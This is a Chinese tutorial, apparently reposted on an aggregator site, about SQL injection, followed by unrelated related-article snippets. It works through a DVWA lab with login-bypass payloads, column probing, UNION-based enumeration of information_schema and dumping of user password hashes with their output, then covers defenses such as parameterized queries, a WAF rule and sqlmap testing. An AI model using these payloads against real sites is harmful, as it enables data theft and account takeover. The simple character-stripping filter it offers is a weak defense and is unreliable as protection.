文章目录

  • 一 真实案例
  • 二 SQL注入
  • 三 为什么危害堪比核弹?
  • 四 深入解剖攻击原理
    • 🎯 4.1:探测SQL漏洞的存在
    • 🎯 4.2:数据库信息探测
    • 🎯 4.3:数据库信息探测
    • 🎯 4.4:数据库信息进一步探测
    • 🎯 4.5:数据库表中敏感信息探测
  • 五 防御指南:四重黄金法则
    • 🔒5.1 法则1:参数化查询(最有效!)
    • 🔒5.2 法则2:输入严格过滤
    • 🔒5.3 法则3:最小权限原则
    • 🔒5.4 法则4:深度防御策略
  • 六 检测:你的网站安全吗?

“比忘记WHERE子句更可怕的,是把用户输入直接当代码执行。” —— 每个被SQL注入毒打过的开发者


一 真实案例

  • 场景:某电商网站登录框
  • 正常SQL
    SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码';
    

攻击者输入: 用户名:admin' -- ,密码:任意值(如123)。最终SQL变形成
sql SELECT * FROM users WHERE username = 'admin' -- ' AND password = '123'

  • 👉 结果:攻击者以admin身份直接登录!因为--在SQL中是注释符,密码验证被直接忽略。

二 SQL注入

  • 通俗解释:黑客通过篡改SQL查询结构,把恶意代码“注入”到正常SQL语句中,欺骗数据库执行非法操作。
  • 技术本质:用户输入数据未被正确处理,与代码指令发生混淆,导致数据被当作代码执行。

三 为什么危害堪比核弹?

危害类型具体后果真实案例
数据窃取盗取用户密码、银行卡信息雅虎5亿账户泄露事件
数据篡改修改商品价格、账户余额某电商1元买iPhone漏洞
系统接管获取服务器控制权限某政府系统被植入后门
数据删除清空整个数据库表某公司用户数据遭恶意删除

四 深入解剖攻击原理

  • 以下案例中在DVWA平台low安全水平下进行SQL注入练习。

🎯 4.1:探测SQL漏洞的存在

  • 通过以下的执行结果探测,确定漏洞的存在。
SELECT first_name, last_name FROM users WHERE user_id = '$id';

攻击payloadusername = ' OR 1=1 -- 或者username=' or 1=1 #
生成SQL

SELECT * FROM users WHERE username='' OR 1=1 --;

攻击效果:条件永真,返回所有用户数据

🎯 4.2:数据库信息探测

  • 判断数据库的列数order by [column_num]
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#';
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2#';
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 3#"
  • 用户输入1' order by 1#,得到返回结果确定数据库表中存在一列,继续增加列数的数值,探测数据表的总列数。如果不存在,会报错 Unknown column '3' in 'order clause' in。用户输入的数据为 1′order by 3#时网页出现报错,证明该数据库表有 2 列/字段
    在这里插入图片描述

🎯 4.3:数据库信息探测

  • 在确定该接口使用的数据库表的列数之后,可以继续使用union进行获取数据库的更多资源。如,上一步测试的数据库表只有两列。
' UNION SELECT user(),database() #

攻击效果:暴漏当前连接数据库的用户和数据库名

ID: ' UNION SELECT user(),database() #
First name: dvwa_ZfhAQF@172.18.0.3
Surname: dvwa_xmxbmd

  • 常用信息收集函数:
  1. 系统信息函数
@@version 或 version(): 数据库版本。
@@basedir: MySQL安装的基本目录。
@@datadir: 数据文件存储目录。
@@hostname: 服务器主机名。
@@version_compile_os: 操作系统信息。
  1. 数据库信息函数
schema(): 同database(),返回当前数据库名。
table_schema (通过information_schema.tables): 获取所有数据库名。
  1. 用户信息函数
current_user(): 当前用户。
system_user(): 系统用户。
session_user(): 会话用户。
  1. 文件和路径函数
load_file('/etc/passwd'): 读取文件内容(需要权限)。
@@tmpdir: 临时目录。
@@secure_file_priv: 安全文件目录。
  1. 其他实用函数
UUID(): 返回一个通用唯一标识符。
connection_id(): 当前连接的ID。
last_insert_id(): 最后插入的自动增量值。
row_count(): 上一个语句影响的行数。

🎯 4.4:数据库信息进一步探测

  • information_schema是Mysql5.0后新增的元信息数据库,保存Mysql服务器所保存的所有的其他数据库信息,如schemata(数据库信息)、tables(表信息)、columns(列信息)。
  • 联合查询表(查询数据的名称和表的名称);
union select table_name,table_schema from information_schema.tables where table_schema='[database_name]'
SELECT first _name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#';
  • 结合上一步获取到的数据库名dvwa_xmxbmd和使用的表只有两列,可以采用以下语句进行执行,查询目前数据库中的表。
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa_xmxbmd' #
ID: ' union select table_name,table_schema from information_schema.tables where table_schema='dvwa_xmxbmd' #
First name: guestbook
Surname: dvwa_xmxbmd
ID: ' union select table_name,table_schema from information_schema.tables where table_schema='dvwa_xmxbmd' #
First name: users
Surname: dvwa_xmxbmd
  • 继续查看具有意义的users表中的列信息,执行以下输入
1' union select column_name,data_type from information_schema.columns where table_name='users' #
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: admin
Surname: admin
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: avatar
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: failed_login
Surname: int
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: first_name
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: last_login
Surname: timestamp
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: last_name
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: password
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: user
Surname: varchar
ID: 1' union select column_name,data_type from information_schema.columns where table_name='users' #
First name: user_id
Surname: int
  • 我们可以看到,users表中存在userpassword重要的信息,可以继续进一步查看。

🎯 4.5:数据库表中敏感信息探测

  • 联合查询信息union [query_sql]
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users #';
  • 可以输入以下命令进行注入
1' union select user,password from users #
ID: 1' union select user,password from users #
First name: admin
Surname: admin
ID: 1' union select user,password from users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 1' union select user,password from users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1' union select user,password from users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1' union select user,password from users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1' union select user,password from users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
  • 可以在https://www.cmd5.com/解密部分md5加密数据,如admin的密码解密为password

五 防御指南:四重黄金法则

🔒5.1 法则1:参数化查询(最有效!)

# Python + psycopg2 安全示例
import psycopg2
sql = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(sql, (username, password))

🔒5.2 法则2:输入严格过滤

// Node.js 过滤示例
function sanitize(input) {return input.replace(/['";\\]/g, ''); // 移除敏感字符
}

🔒5.3 法则3:最小权限原则

CREATE USER webuser WITH PASSWORD 'strongPwd!';
GRANT SELECT ON users TO webuser; -- 仅授权必要权限
REVOKE DROP, DELETE ON *.* FROM webuser; -- 回收危险权限

🔒5.4 法则4:深度防御策略

  • Web应用防火墙(WAF)规则示例:
    # Nginx配置拦截SQL注入特征
    location / {set $block_sql_inject 0;if ($query_string ~* "union.*select.*\(") {set $block_sql_inject 1;}if ($block_sql_inject = 1) {return 403;}
    }
    

六 检测:你的网站安全吗?

测试工具(仅用于合法授权测试):

  1. SQLMap:sqlmap -u "http://example.com?id=1"
  2. Burp Suite:拦截请求修改参数为id=1' AND 1=Sleep(5)--
  3. 手动检测:输入单引号'观察是否报错

安全自查表

  • 所有数据库操作使用参数化查询
  • 错误信息不泄露数据库结构
  • 数据库连接使用最低权限账户
  • 关键操作有二次验证机制

  • 记住:“永远不要信任用户输入,验证、过滤、参数化——这三板斧能救你的系统一命。”

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/87660.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/87660.shtml
英文地址,请注明出处:http://en.pswp.cn/pingmian/87660.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Windows内核并发优化

Windows内核并发优化通过多层次技术手段提升多核环境下的系统性能,以下是关键技术实现方案: 一、内核锁机制优化‌ 精细化锁策略‌ 采用自旋锁(Spinlock)替代信号量处理短临界区,减少线程切换开销 对共享资源实施读…

【数据结构】 排序算法

【数据结构】 排序算法 一、排序1.1 排序是什么?1.2 排序的应用1.3 常见排序算法二、常见排序算法的实现2.1 插入排序2.1.1 直接插入排序2.1.2 希尔排序2.2 选择排序2.2.1 直接选择排序2.2.1.1 方法12.2.1.1 方法22.2.2 堆排序(数组形式)2.3 …

NumPy-核心函数np.matmul()深入解析

NumPy-核心函数np.matmul深入解析 一、矩阵乘法的本质与np.matmul()的设计目标1. 数学定义:从二维到多维的扩展2. 设计目标 二、np.matmul()核心语法与参数解析函数签名核心特性 三、多维场景下的核心运算逻辑1. 二维矩阵乘法:基础用法2. 一维向量与二维…

突破政务文档理解瓶颈:基于多模态大模型的智能解析系统详解

重磅推荐专栏: 《大模型AIGC》 《课程大纲》 《知识星球》 本专栏致力于探索和讨论当今最前沿的技术趋势和应用领域,包括但不限于ChatGPT、DeepSeek、Stable Diffusion等。我们将深入研究大型模型的开发和应用,以及与之相关的人工智能生成内容…

深入探讨支持向量机(SVM)在乳腺癌X光片分类中的应用及实现

🧑 博主简介:CSDN博客专家、CSDN平台优质创作者,高级开发工程师,数学专业,10年以上C/C++, C#, Java等多种编程语言开发经验,拥有高级工程师证书;擅长C/C++、C#等开发语言,熟悉Java常用开发技术,能熟练应用常用数据库SQL server,Oracle,mysql,postgresql等进行开发应用…

九、K8s污点和容忍

九、K8s污点和容忍 文章目录九、K8s污点和容忍1、污点(Taint)和容忍(Toleration)1.1 什么是污点(Taint)?1.2 什么是容忍(Toleration)?1.3 污点的影响效果&…

基于开源AI智能名片链动2+1模式S2B2C商城小程序的超级文化符号构建路径研究

摘要:在数字技术重构文化传播生态的背景下,超级文化符号的塑造已突破传统IP运营框架。本文以开源AI智能名片链动21模式与S2B2C商城小程序的融合创新为切入点,结合"屿光生活"体验馆、快手烧烤摊主等典型案例,提出"技…

QT 日志 - qInstallMessageHandler将qDebug()打印内容输出到文件

在编程开发中,日志功能至关重要,对于在开发期间或者是程序上线后,都有助于排查问题; 对于C/C和QT方向,日志库有log4cpp、plog、log4qt等,本篇文章将使用qt自带的日志方式去实现。 定义日志函数&#xff1a…

记录一下seata启动403问题

1.现象:启动报错可能是403,或是是密码错误一般是nacos加了认证,seata配置nacos账号密码的时候就启动不了。可能是密码错误,最有可能是seata版本太低导致的。1.4.2以及一下的版本应该都有这个问题2.问题密码不能有特殊符号如&#…

【STM32实践篇】:GPIO 详解

文章目录GPIO 基本结构GPIO 工作模式GPIO 基本结构 右边的红框是I/O引脚,这个I/O引脚就是我们可以看到的芯片实物的引脚,其他部分都是GPIO的内部结构。 保护二极管 上方二极管用于防过压保护,当I/O引脚电压高于 V_DD 二极管导通压降​时&…

#include

关于 C 中的 include <>和 include “” 这两种形式&#xff0c;区别其实是关于“搜索路径”和“优先级”的。让我详细为你讲解。 1. 简单区别总结 #include <header>&#xff1a;告诉编译器去“系统标准目录”或“预定义的标准路径”中查找头文件&#xff08;比如…

永磁同步电机参数辨识算法--带遗忘因子的递推最小二乘法辨识

一、原理介绍之前已经介绍了递推最小二乘法进行电气参数辨识&#xff0c;在实时参数辨识中&#xff0c;协方差矩阵P和增益矩阵K是用于更新参数估计的重要工具&#xff0c;而系统参数变化时&#xff0c;P、K矩阵会逐渐减小&#xff0c;导致数据饱和。数据饱和与参数迟滞是实时参…

JVM 知识点

一、JVM 概述JVM&#xff08;Java Virtual Machine&#xff09;即 Java 虚拟机&#xff0c;它是 Java 编程语言的核心组件之一&#xff0c;负责执行 Java 程序。JVM 使得 Java 程序可以实现“一次编写&#xff0c;到处运行”的特性&#xff0c;因为它提供了一个抽象的运行环境&…

windows装机

1、制作启动盘 2、制作启动盘 启动盘中含有WinPE系统和ISO 3、从U盘启动&#xff0c;加载ISO 4、执行ISO中的setup安装win10 5、之后从C盘启动进入win10系统 6、安装“华为电脑管家”,安装驱动 华为电脑管家官方下载-笔记本驱动更新 | 华为官网 7、下载安装必要软件 https://…

提示技术系列(13)——ReAct

什么是提示技术&#xff1f; 提示技术是实现提示工程目标的具体技术手段&#xff0c;是提示工程中的“工具库”。 什么又是提示工程&#xff1f; 提示工程是指通过设计、优化和迭代输入到大语言模型&#xff08;LLM&#xff09;的提示&#xff08;Prompt&#xff09;&#xff…

【SVO】klt与极限搜索块匹配findEpipolarMatchDirect

Matcher::findEpipolarMatchDirect 函数逻辑与原理分析 核心目标&#xff1a; 在极线上搜索参考帧特征点 ref_ftr 在当前帧 cur_frame 中的最佳匹配点&#xff0c;并通过三角化计算深度。 关键步骤解析&#xff1a; 1. 极线端点计算&#xff1a; const BearingVector A T_…

C 语言基础入门:基本数据类型与运算符详解

一、基本数据类型C 语言提供了丰富的基本数据类型&#xff0c;用于存储不同类型的数据&#xff0c;主要包括整数类型、浮点类型和布尔类型。1. 整数类型整数类型用于存储整数&#xff0c;根据是否带符号以及占用存储空间的不同&#xff0c;可进一步细分&#xff1a;类型名占用存…

应用在核电行业的虚拟现实解决方案

核能领域正处于创新与责任的交汇点。尽管核反应堆提供了高效且可持续的能源&#xff0c;但由于放射性物质的危险性&#xff0c;其也带来了独特挑战。虚拟现实&#xff08;VR&#xff09;技术正通过为远程操作、应急响应和放射性物质处理提供先进解决方案&#xff0c;彻底革新这…

CTF Web的数组巧用

PHP数组绕过intval和preg_match的CTF技巧 原题目 <?php include("flag.php"); // 引入flag文件&#xff0c;flag变量在这里定义 show_source("index.php"); // 显示index.php文件的源码&#xff08;方便选手查看&#xff09;// 判断是否通过GET方式传入…

vue2+elementui使用compressorjs压缩上传的图片

首先是npm install compressorjs 然后新建一个compressorjs.js的文件 import Compressor from "compressorjs";// 默认压缩配置 const DEFAULT_COMPRESS_OPTIONS {quality: 0.6, // 默认压缩质量 (0-1)maxWidth: 1920, // 最大宽度maxHeight: 1080, // 最大高度con…